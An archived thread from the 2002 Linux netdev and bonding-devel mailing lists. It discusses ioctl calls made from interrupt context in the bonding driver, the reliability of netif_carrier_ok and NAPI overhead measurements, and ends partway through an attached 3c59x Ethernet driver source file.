Also, a further question: do you have access to the slave struct > net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all > that ioctl calling if it returns non-zero. Make that "avoid all that ioctl calling from interrupt context", which is a bug. Of the box-killing variety ;) From manfred@colorfullife.com Tue Sep 17 12:49:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:49:37 -0700 (PDT) Received: from dbl.q-ag.de (IDENT:root@dbl.q-ag.de [80.146.160.66]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJnXtG019773 for ; Tue, 17 Sep 2002 12:49:34 -0700 Received: from colorfullife.com (IDENT:root@localhost.localdomain [127.0.0.1]) by dbl.q-ag.de (8.11.6/8.11.6) with ESMTP id g8HJsWl11033 for ; Tue, 17 Sep 2002 21:54:32 +0200 Message-ID: <3D878877.9050303@colorfullife.com> Date: Tue, 17 Sep 2002 21:54:31 +0200 From: Manfred Spraul User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0) X-Accept-Language: en, de MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Info: NAPI performance at "low" loads Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev NAPI network drivers mask the rx interrupts in their interrupt handler, and reenable them in dev->poll(). In the worst case, that happens for every packet. I've tried to measure the overhead of that operation. The cpu time needed to recieve 50k packets/sec: without NAPI: 53.7 % with NAPI: 59.9 % 50k packets/sec is the limit for NAPI, at higher packet rates the forced mitigation kicks in and every interrupt recieves more than one packet. The cpu time was measured by busy-looping in user space, the numbers should be accurate to less than 1 %. Summary: with my setup, the overhead is around 11 %. Could someone try to reproduce my results? Sender: # sendpkt 1 <10..50, go get a good packet rate> Receiver: $ loadtest Please disable any interrupt mitigation features of your nic, otherwise the mitigation will dramatically change the needed cpu time. The sender sends ICMP echo reply packets, evenly spaced by "memset(,,n*512)" between the syscalls. The cpu load was measured with a user space app that calls "memset(,,16384)" in a tight loop, and reports the number of loops per second. I've used a patched tulip driver, the current NAPI driver contains a loop that severely slows down the nic under such loads. The patch and my test apps are at http://www.q-ag.de/~manfred/loadtest hardware setup: Duron 700, VIA KT 133 no IO APIC, i.e. slow 8259 XT PIC. Accton tulip clone, ADMtek comet. crossover cable Sender: Celeron 1.13 GHz, rtl8139 -- Manfred From ctindel@falcon.csc.calpoly.edu Tue Sep 17 12:53:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:53:46 -0700 (PDT) Received: from falcon.csc.calpoly.edu (falcon.csc.calpoly.edu [129.65.242.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJrjtG021499 for ; Tue, 17 Sep 2002 12:53:45 -0700 Received: from falcon.csc.calpoly.edu (localhost [127.0.0.1]) by falcon.csc.calpoly.edu (8.12.2+Sun/8.12.2) with ESMTP id g8HJwOg1011663; Tue, 17 Sep 2002 12:58:24 -0700 (PDT) Received: from localhost (ctindel@localhost) by falcon.csc.calpoly.edu (8.12.2+Sun/8.12.2/Submit) with ESMTP id g8HJwOj5011660; Tue, 17 Sep 2002 12:58:24 -0700 (PDT) Date: Tue, 17 Sep 2002 12:58:24 -0700 (PDT) From: "Chad N. Tindel" To: Andrew Morton cc: Jeff Garzik , "Cureington, Tony" , Pascal Brisset , , Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload In-Reply-To: <3D878841.EB580DE9@digeo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ctindel@falcon.csc.calpoly.edu Precedence: bulk X-list: netdev > > Also, a further question: do you have access to the slave struct > > net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all > > that ioctl calling if it returns non-zero. > > Make that "avoid all that ioctl calling from interrupt context", which > is a bug. Of the box-killing variety ;) Will netif_carrier_ok(slave_dev) always work? Do all drivers support the __LINK_STATE_NOCARRIER flag? If so, is there any reason to call the ioctl in the first place? Chad From fubar@us.ibm.com Tue Sep 17 12:58:03 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 12:58:05 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HJw3tG021923 for ; Tue, 17 Sep 2002 12:58:03 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.194.23]) by e34.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8HK2cvv040352; Tue, 17 Sep 2002 16:02:39 -0400 Received: from d03nm035.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8HK1KQ0097014; Tue, 17 Sep 2002 14:01:21 -0600 From: "Jay Vosburgh" Importance: Normal Sensitivity: Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPU load To: Jeff Garzik Cc: "Cureington, Tony" , Andrew Morton , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: Date: Tue, 17 Sep 2002 13:01:19 -0700 X-MIMETrack: Serialize by Router on D03NM035/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/17/2002 02:01:21 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Well, now that it's been pointed out to me, that does look pretty grotty. It works because MII_LINK_READY is defined to be 4, and the return from bond_check_dev_link() is always a bitwise test against MII_LINK_READY, so it works. Could be cleaner, though. As far as netif_carrier_ok() goes, is it reliable? In looking at the drivers, it appears that some don't update the flag (e.g., 3c59x.c). -J Jeff Garzik @lists.sourceforge.net on 09/17/2002 12:45:57 PM Sent by: bonding-devel-admin@lists.sourceforge.net To: "Cureington, Tony" cc: Andrew Morton , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPU load Cureington, Tony wrote: > /* Yes, the mii is overlaid on the ifreq.ifr_ifru */ > mii = (struct mii_ioctl_data *)&ifr.ifr_data; > if (ioctl(dev, &ifr, SIOCGMIIPHY) != 0) { > return MII_LINK_READY; /* can't tell */ > } > > mii->reg_num = 1; > if (ioctl(dev, &ifr, SIOCGMIIREG) == 0) { > /* > * mii->val_out contains MII reg 1, BMSR > * 0x0004 means link established > */ > return mii->val_out; > } Speaking of bonding, I wonder about the above code -- why do you return mii->val_out directly? AFAICS you should test BMSR_LSTATUS (a.k.a. 0x0004) and return MII_LINK_READY or zero -- not a bunch of random bits. The status word can certainly be non-zero even when link is absent. Also, a further question: do you have access to the slave struct net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all that ioctl calling if it returns non-zero. Jeff ------------------------------------------------------- This SF.NET email is sponsored by: AMD - Your access to the experts on Hammer Technology! Open Source & Linux Developers, register now for the AMD Developer Symposium. Code: EX8664 http://www.developwithamd.com/developerlab _______________________________________________ Bonding-devel mailing list Bonding-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/bonding-devel From jgarzik@mandrakesoft.com Tue Sep 17 13:02:51 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:02:53 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HK2otG022742 for ; Tue, 17 Sep 2002 13:02:51 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rOdQ-00055D-00; Tue, 17 Sep 2002 21:07:49 +0100 Message-ID: <3D878B73.6080503@mandrakesoft.com> Date: Tue, 17 Sep 2002 16:07:15 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Chad N. Tindel" CC: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Chad N. Tindel wrote: >>>Also, a further question: do you have access to the slave struct >>>net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all >>>that ioctl calling if it returns non-zero. >> >>Make that "avoid all that ioctl calling from interrupt context", which >>is a bug. Of the box-killing variety ;) > > > Will netif_carrier_ok(slave_dev) always work? Do all drivers support the > __LINK_STATE_NOCARRIER flag? No. Read again the precise language I used :) From jgarzik@mandrakesoft.com Tue Sep 17 13:06:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:06:39 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HK6atG023151 for ; Tue, 17 Sep 2002 13:06:37 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rOh5-0005CO-00; Tue, 17 Sep 2002 21:11:35 +0100 Message-ID: <3D878C56.2070400@mandrakesoft.com> Date: Tue, 17 Sep 2002 16:11:02 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton CC: "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> <3D878675.3000403@mandrakesoft.com> <3D878841.EB580DE9@digeo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Andrew Morton wrote: > Jeff Garzik wrote: > >>... >>Also, a further question: do you have access to the slave struct >>net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all >>that ioctl calling if it returns non-zero. > > > Make that "avoid all that ioctl calling from interrupt context", which > is a bug. Of the box-killing variety ;) Indeed. /me looks at the bond_check_dev_link callers more closely and shudders. That wants fixing... Note that netif_carrier_ok() can indeed be checked in interrupt context. And if someone wants to send me patches converting more drivers to use netif_carrier_{on,off}, I would be very happy :) From ctindel@falcon.csc.calpoly.edu Tue Sep 17 13:06:55 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:06:56 -0700 (PDT) Received: from falcon.csc.calpoly.edu (falcon.csc.calpoly.edu [129.65.242.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HK6ttG023240 for ; Tue, 17 Sep 2002 13:06:55 -0700 Received: from falcon.csc.calpoly.edu (localhost [127.0.0.1]) by falcon.csc.calpoly.edu (8.12.2+Sun/8.12.2) with ESMTP id g8HKBUg1012188; Tue, 17 Sep 2002 13:11:30 -0700 (PDT) Received: from localhost (ctindel@localhost) by falcon.csc.calpoly.edu (8.12.2+Sun/8.12.2/Submit) with ESMTP id g8HKBTvY012185; Tue, 17 Sep 2002 13:11:29 -0700 (PDT) Date: Tue, 17 Sep 2002 13:11:29 -0700 (PDT) From: "Chad N. Tindel" To: Jeff Garzik cc: Andrew Morton , "Cureington, Tony" , Pascal Brisset , , Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload In-Reply-To: <3D878B73.6080503@mandrakesoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ctindel@falcon.csc.calpoly.edu Precedence: bulk X-list: netdev > > Will netif_carrier_ok(slave_dev) always work? Do all drivers support the > > __LINK_STATE_NOCARRIER flag? > > > No. Read again the precise language I used :) Right, well thats what I thought. But how can we do what Andrew wants? Chad From jgarzik@mandrakesoft.com Tue Sep 17 13:11:31 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:11:32 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKBUtG023847 for ; Tue, 17 Sep 2002 13:11:30 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rOlm-0005FK-00; Tue, 17 Sep 2002 21:16:26 +0100 Message-ID: <3D878D79.20904@mandrakesoft.com> Date: Tue, 17 Sep 2002 16:15:53 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jay Vosburgh CC: "Cureington, Tony" , Andrew Morton , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPU load References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Jay Vosburgh wrote: > > Well, now that it's been pointed out to me, that does look pretty > grotty. It works because MII_LINK_READY is defined to be 4, and the return > from bond_check_dev_link() is always a bitwise test against MII_LINK_READY, > so it works. Could be cleaner, though. Yep. Sounds like you also might want to replace a non-standard constant (MII_LINK_READY) with its standard constant from linux/mii.h, BMSR_LSTATUS, too, if you are going to use it like this. > As far as netif_carrier_ok() goes, is it reliable? In looking at the > drivers, it appears that some don't update the flag (e.g., 3c59x.c). No. Only some drivers implement it at present -- though all should. Patches to fix up drivers to use netif_carrier_{on,off} would be very welcome. There are several examples in-tree to emulate... Jeff From jgarzik@mandrakesoft.com Tue Sep 17 13:19:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:19:31 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKJQtG024249 for ; Tue, 17 Sep 2002 13:19:26 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rOtV-0005KH-00; Tue, 17 Sep 2002 21:24:25 +0100 Message-ID: <3D878F58.7060706@mandrakesoft.com> Date: Tue, 17 Sep 2002 16:23:52 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Chad N. Tindel" CC: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Chad N. Tindel wrote: >>>Will netif_carrier_ok(slave_dev) always work? Do all drivers support the >>>__LINK_STATE_NOCARRIER flag? >> >> >>No. Read again the precise language I used :) > > > Right, well thats what I thought. But how can we do what Andrew wants? You'll need execute those ioctls from process context -- or call dev->do_ioctl() yourself with proper locking. The latter would certainly be faster but you must be _very_ careful to avoid deadlocks. The former would certainly be preferred anyway, because calling an ioctl to check link state means you are hitting the slave_dev's phy, which is a very expensive operation in and of itself. Unfortunately I am thinking that locking in bonding.c may need a re-think if you want to do this sort of stuff :( Semaphores instead of a spinlocks may be appropriate, depending on the contexts in which link_state _really_ needs to be checked. Jeff From Andrew.Morton@digeo.com Tue Sep 17 13:19:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Tue, 17 Sep 2002 13:19:31 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8HKJItG024238 for ; Tue, 17 Sep 2002 13:19:19 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id NAA28641 for ; Tue, 17 Sep 2002 13:24:13 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.9) with SMTP id M2002091713281504201 ; Tue, 17 Sep 2002 13:28:15 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 13:24:12 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Tue, 17 Sep 2002 13:24:09 -0700 Message-ID: <3D878F69.AB2B0B6@digeo.com> Date: Tue, 17 Sep 2002 13:24:09 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Garzik CC: "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: <72A87F7160C0994D8C5A36E2FDC227F502B3E70D@txnexc01.americas.cpqcorp.net> <3D878675.3000403@mandrakesoft.com> <3D878841.EB580DE9@digeo.com> <3D878C56.2070400@mandrakesoft.com> Content-Type: multipart/mixed; boundary="------------E037F6CAA8E998053B25BA1E" X-OriginalArrivalTime: 17 Sep 2002 20:24:09.0701 (UTC) FILETIME=[2DD0B150:01C25E88] X-archive-position: 228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------E037F6CAA8E998053B25BA1E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff Garzik wrote: > > Andrew Morton wrote: > > Jeff Garzik wrote: > > > >>... > >>Also, a further question: do you have access to the slave struct > >>net_device? If so, just test netif_carrier_ok(slave_dev) and avoid all > >>that ioctl calling if it returns non-zero. > > > > > > Make that "avoid all that ioctl calling from interrupt context", which > > is a bug. Of the box-killing variety ;) > > Indeed. /me looks at the bond_check_dev_link callers more closely and > shudders. > > That wants fixing... > > Note that netif_carrier_ok() can indeed be checked in interrupt context. > And if someone wants to send me patches converting more drivers to use > netif_carrier_{on,off}, I would be very happy :) That would be best. I'm so slack. I received the below two years ago; Nelson has added netif_carrier_foo support to 3c59x.c. As Jeff says: patches solicited. -------- Original Message -------- Subject: Re: netlink Date: Wed, 14 Jun 2000 11:19:33 +0800 (SST) From: Nelson To: Andrew Morton References: <394610FF.4052CEAA@uow.edu.au> hi Andrew, The modified 3c59x.c is attached. for your easy reference, these lines in the attached driver was modified: 69-72: notes on what are added 121-123: defined the time to expiry of the vertex_timer as TX_EXPIRE. i have set the value as 1*HZ. the original value should be 60*HZ. you may set to any value you feel is good ;p you r rite abt the 1 sec part since reading the MII management registers is time consuming. 1122: used TX_EXPIRE instead 1335, 1399, 1428: set next_tick to TX_EXPIRE 1351: added calls to netif_carrier_on() 1356: added calls to netif_carrier_off() 1367-1371: added checking of link state do let me know if there are any discrepencies. thanx. --------------E037F6CAA8E998053B25BA1E Content-Type: text/plain; charset=us-ascii; name="3c59x.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="3c59x.c" /* EtherLinkXL.c: A 3Com EtherLink PCI III/XL ethernet driver for linux. */ /* Written 1996-1999 by Donald Becker. This software may be used and distributed according to the terms of the GNU Public License, incorporated herein by reference. This driver is for the 3Com "Vortex" and "Boomerang" series ethercards. Members of the series include Fast EtherLink 3c590/3c592/3c595/3c597 and the EtherLink XL 3c900 and 3c905 cards. The author may be reached as becker@CESDIS.gsfc.nasa.gov, or C/O Center of Excellence in Space Data and Information Sciences Code 930.5, Goddard Space Flight Center, Greenbelt MD 20771 Linux Kernel Additions: 0.99H+lk0.9 - David S. Miller - softnet, PCI DMA updates 0.99H+lk1.0 - Jeff Garzik Remove compatibility defines for kernel versions < 2.2.x. Update for new 2.3.x module interface LK1.1.2 (March 19, 2000) * New PCI interface (jgarzik) LK1.1.3 25 April 2000, Andrew Morton - Merged with 3c575_cb.c - Don't set RxComplete in boomerang interrupt enable reg - spinlock in vortex_timer to protect mdio functions - disable local interrupts around call to vortex_interrupt in vortex_tx_timeout() (So vortex_interrupt can use spin_lock()) - Select window 3 in vortex_timer()'s write to Wn3_MAC_Ctrl - In vortex_start_xmit(), move the lock to _after_ we've altered vp->cur_tx and vp->tx_full. This defeats the race between vortex_start_xmit() and vortex_interrupt which was identified by Bogdan Costescu. - Merged back support for six new cards from various sources - Set vortex_have_pci if pci_module_init returns zero (fixes cardbus insertion oops) - Tell it that 3c905C has NWAY for 100bT autoneg - Fix handling of SetStatusEnd in 'Too much work..' code, as per 2.3.99's 3c575_cb (Dave Hinds). - Split ISR into two for vortex & boomerang - Fix MOD_INC/DEC races - Handle resource allocation failures. - Fix 3CCFE575CT LED polarity - Make tx_interrupt_mitigation the default LK1.1.4 25 April 2000, Andrew Morton - Add extra TxReset to vortex_up() to fix 575_cb hotplug initialisation probs. - Put vortex_info_tbl into __devinitdata - In the vortex_error StatsFull HACK, disable stats in vp->intr_enable as well as in the hardware. - Increased the loop counter in wait_for_completion from 2,000 to 4,000. LK1.1.5 28 April 2000, andrewm - Added powerpc defines - Some extra diagnostics - In vortex_error(), reset the Tx on maxCollisions. Otherwise most chips usually get a Tx timeout. - Added extra_reset module parm - Replaced some inline timer manip with mod_timer (Franois romieu ) - In vortex_up(), don't make Wn3_config initialisation dependent upon has_nway (this came across from 3c575_cb). - See http://www.uow.edu.au/~andrewm/linux/#3c59x-2.3 for more details. 10 June 2000, Nelson Tan Gin Hwa - In vortex_timer(), make calls to netif_carrier_on() and netif_carrier_off() to set the __LINK_STATE_NOCARRIER bit to reflect the link state status. */ /* * FIXME: This driver _could_ support MTU changing, but doesn't. See Don's * hamaci.c implementation as well as other drivers * * NOTE: If you make 'vortex_debug' a constant (#define vortex_debug 0) the * driver shrinks by 2k due to dead code elimination. There will be some * performance benefits from this due to elimination of all the tests and * reduced cache footprint. */ /* "Knobs" that adjust features and parameters. */ /* Set the copy breakpoint for the copy-only-tiny-frames scheme. Setting to > 1512 effectively disables this feature. */ static const int rx_copybreak = 200; /* Allow setting MTU to a larger size, bypassing the normal ethernet setup. */ static const int mtu = 1500; /* Maximum events (Rx packets, etc.) to handle at each interrupt. */ static int max_interrupt_work = 32; /* Give the NIC an extra reset at the end of vortex_up() */ static int extra_reset = 0; /* Allow aggregation of Tx interrupts. Saves CPU load at the cost * of possible Tx stalls if the system is blocking interrupts * somewhere else. Undefine this to disable. * AKPM 26 April 2000: enabling this still gets vestigial Tx timeouts * in a heavily loaded (collision-prone) 10BaseT LAN. Should be OK with * switched Ethernet. */ #define tx_interrupt_mitigation 1 /* Put out somewhat more debugging messages. (0: no msg, 1 minimal .. 6). */ #define vortex_debug debug #ifdef VORTEX_DEBUG static int vortex_debug = VORTEX_DEBUG; #else static int vortex_debug = 1; #endif /* Some values here only for performance evaluation and path-coverage debugging. */ static int rx_nocopy = 0, rx_copy = 0, queued_packet = 0, rx_csumhits; /* A few values that may be tweaked. */ /* Time in jiffies before concluding the transmitter is hung. */ #define TX_TIMEOUT ((400*HZ)/1000) /* Time for the vortex_timer() function to be called again */ /* originally was 60*HZ */ #define TX_EXPIRE 1*HZ /* Keep the ring sizes a power of two for efficiency. */ #define TX_RING_SIZE 16 #define RX_RING_SIZE 32 #define PKT_BUF_SZ 1536 /* Size of each temporary Rx buffer.*/ #ifndef __OPTIMIZE__ #error You must compile this file with the correct options! #error See the last lines of the source file. #error You must compile this driver with "-O". #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* For NR_IRQS only. */ #include #include /* John Daniel said these work... */ #ifdef __powerpc__ #define outsl outsl_ns #define insl insl_ns #endif /* Kernel compatibility defines, some common to David Hinds' PCMCIA package. This is only in the support-all-kernels source code. */ #define RUN_AT(x) (jiffies + (x)) #include static char version[] __devinitdata = "3c59x.c:v0.99L+LK1.1.5 30 Apr 2000 Donald Becker and others http://cesdis.gsfc.nasa.gov/linux/drivers/vortex.html " "$Revision: 1.78 $\n"; MODULE_AUTHOR("Donald Becker "); MODULE_DESCRIPTION("3Com 3c59x/3c90x/3c575 series Vortex/Boomerang/Cyclone driver"); MODULE_PARM(debug, "i"); MODULE_PARM(options, "1-" __MODULE_STRING(8) "i"); MODULE_PARM(full_duplex, "1-" __MODULE_STRING(8) "i"); MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(max_interrupt_work, "i"); MODULE_PARM(extra_reset, "i"); MODULE_PARM(compaq_ioaddr, "i"); MODULE_PARM(compaq_irq, "i"); MODULE_PARM(compaq_device_id, "i"); /* Operational parameter that usually are not changed. */ /* The Vortex size is twice that of the original EtherLinkIII series: the runtime register window, window 1, is now always mapped in. The Boomerang size is twice as large as the Vortex -- it has additional bus master control registers. */ #define VORTEX_TOTAL_SIZE 0x20 #define BOOMERANG_TOTAL_SIZE 0x40 /* Set iff a MII transceiver on any interface requires mdio preamble. This only set with the original DP83840 on older 3c905 boards, so the extra code size of a per-interface flag is not worthwhile. */ static char mii_preamble_required = 0; #define PFX "3c59x: " /* Theory of Operation I. Board Compatibility This device driver is designed for the 3Com FastEtherLink and FastEtherLink XL, 3Com's PCI to 10/100baseT adapters. It also works with the 10Mbs versions of the FastEtherLink cards. The supported product IDs are 3c590, 3c592, 3c595, 3c597, 3c900, 3c905 The related ISA 3c515 is supported with a separate driver, 3c515.c, included with the kernel source or available from cesdis.gsfc.nasa.gov:/pub/linux/drivers/3c515.html II. Board-specific settings PCI bus devices are configured by the system at boot time, so no jumpers need to be set on the board. The system BIOS should be set to assign the PCI INTA signal to an otherwise unused system IRQ line. The EEPROM settings for media type and forced-full-duplex are observed. The EEPROM media type should be left at the default "autoselect" unless using 10base2 or AUI connections which cannot be reliably detected. III. Driver operation The 3c59x series use an interface that's very similar to the previous 3c5x9 series. The primary interface is two programmed-I/O FIFOs, with an alternate single-contiguous-region bus-master transfer (see next). The 3c900 "Boomerang" series uses a full-bus-master interface with separate lists of transmit and receive descriptors, similar to the AMD LANCE/PCnet, DEC Tulip and Intel Speedo3. The first chip version retains a compatible programmed-I/O interface that has been removed in 'B' and subsequent board revisions. One extension that is advertised in a very large font is that the adapters are capable of being bus masters. On the Vortex chip this capability was only for a single contiguous region making it far less useful than the full bus master capability. There is a significant performance impact of taking an extra interrupt or polling for the completion of each transfer, as well as difficulty sharing the single transfer engine between the transmit and receive threads. Using DMA transfers is a win only with large blocks or with the flawed versions of the Intel Orion motherboard PCI controller. The Boomerang chip's full-bus-master interface is useful, and has the currently-unused advantages over other similar chips that queued transmit packets may be reordered and receive buffer groups are associated with a single frame. With full-bus-master support, this driver uses a "RX_COPYBREAK" scheme. Rather than a fixed intermediate receive buffer, this scheme allocates full-sized skbuffs as receive buffers. The value RX_COPYBREAK is used as the copying breakpoint: it is chosen to trade-off the memory wasted by passing the full-sized skbuff to the queue layer for all frames vs. the copying cost of copying a frame to a correctly-sized skbuff. IIIC. Synchronization The driver runs as two independent, single-threaded flows of control. One is the send-packet routine, which enforces single-threaded use by the dev->tbusy flag. The other thread is the interrupt handler, which is single threaded by the hardware and other software. IV. Notes Thanks to Cameron Spitzer and Terry Murphy of 3Com for providing development 3c590, 3c595, and 3c900 boards. The name "Vortex" is the internal 3Com project name for the PCI ASIC, and the EISA version is called "Demon". According to Terry these names come from rides at the local amusement park. The new chips support both ethernet (1.5K) and FDDI (4.5K) packet sizes! This driver only supports ethernet packets because of the skbuff allocation limit of 4K. */ /* This table drives the PCI probe routines. It's mostly boilerplate in all of the drivers, and will likely be provided by some future kernel. */ enum pci_flags_bit { PCI_USES_IO=1, PCI_USES_MEM=2, PCI_USES_MASTER=4, PCI_ADDR0=0x10<<0, PCI_ADDR1=0x10<<1, PCI_ADDR2=0x10<<2, PCI_ADDR3=0x10<<3, 